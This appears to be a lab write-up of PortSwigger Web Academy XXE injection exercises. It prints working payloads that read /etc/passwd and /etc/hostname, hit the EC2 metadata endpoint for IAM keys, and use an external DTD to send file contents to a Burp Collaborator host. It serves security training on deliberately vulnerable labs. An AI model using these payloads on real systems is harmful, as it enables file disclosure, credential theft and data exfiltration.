Intro
This post/writeup is all about the XXE Injection.
I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.
What can we do with XXE-based vulnerabilites:
- retrieve files, where an external entity is defined containing the contents of a file, and returned in the application’s response.
- perform SSRF attacks, where an external entity is defined based on a URL to a back-end system.
- exfiltrate data out-of-band, where sensitive data is transmitted from the application server to a system that the attacker controls.
- retrieve data via error messages, where the attacker can trigger a parsing error message containing sensitive data.
TOC
- Intro
- Exploiting XXE using external entities to retrieve files
- Exploiting XXE to perform SSRF attacks
- Exploiting XInclude to retrieve files
- Exploiting XXE via image file upload
- Blind XXE with out-of-band interaction via XML parameter entities
- Blind XXE with out-of-band interaction
- Exploiting blind XXE to exfiltrate data using a malicious external DTD
- Exploiting blind XXE to retrieve data via error messages
Exploiting XXE using external entities to retrieve files
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.
Checking the instructions, we’re supposed to check the Check stock feature, so let’s do that and have Burp running in the background.
That’s the payload that will be used:
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId>
<storeId>&xxe;</storeId>
</stockCheck>
And we’we got the contents of /etc/passwd back!
Exploiting XXE to perform SSRF attacks
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.
We have to try to achieve SSRF, so let’s start with checking the Check stock feature:
Let’s try to exploit SSRF using XXE Vulnerability
We can see that we get latest return which is folder. We can get to admin-key in few iterations:
As soon as we reach the secret access key, lab will get solved.
Exploiting XInclude to retrieve files
This lab has a “Check stock” feature that embeds the user input inside a server-side XML document that is subsequently parsed.
Because you don’t control the entire XML document you can’t define a DTD to launch a classic XXE attack.
To solve the lab, inject an XInclude statement to retrieve the contents of the /etc/passwd file.
We know that Check stock is vulnerable, so let’s use it and check the request in Burp.
We will inject the payload inthe the productId value:
1
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
Lab has been solved!
Exploiting XXE via image file upload
This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
To solve the lab, upload an image that displays the contents of the /etc/hostname file after processing. Then use the “Submit solution” button to submit the value of the server hostname.
In this lab we have to upload malicious SVG as avatar. We have to create SVG File beforehand:
1
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Save that as SVG and upload as avatar: 
When checking the avatar on the post, image with file contents should appear.
Submit hostname as solution in order to solve the lab.
Blind XXE with out-of-band interaction via XML parameter entities
This lab has a “Check stock” feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.
To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
This lab is all about blind XXE so we won’t get any direct response to our payloads.
Callback:
Lab has been solved.
Blind XXE with out-of-band interaction
This lab has a “Check stock” feature that parses XML input but does not display the result.
You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
To solve this lab, we have to put the DOCTYPE after the xml declaration or else the payload will not work!.
Exploiting blind XXE to exfiltrate data using a malicious external DTD
This lab has a “Check stock” feature that parses XML input but does not display the result. To solve the lab, exfiltrate the contents of the /etc/hostname file.
For this lab, the same vulnerability exist in the “Check stock” functionality.
If we try to put entities, we will get an error.
When sending an XML like this, we’ll get a callback.
1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY % xxe SYSTEM "http://fyhkrxyhswt25ohovyzz9ovojfp6d11q.oastify.com/test.dtd"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Now we need to put test.dtd on our exploit server.
1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://g5mlyy5izx03cpop2z60gp2pqgw7k38s.oastify.com/?x=%file;'>">
%eval;
%exfil;
If everything has been done right, callback with an hostname should pop in the collaborator.
Exploiting blind XXE to retrieve data via error messages
This lab has a “Check stock” feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
Same as previous lab, we first can check if we get a callback, which by using following query IS the case.
We’ll use following payload on the remote server serving malicious dtd file, in order to print the contents of a local file /etc/passwd:
1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
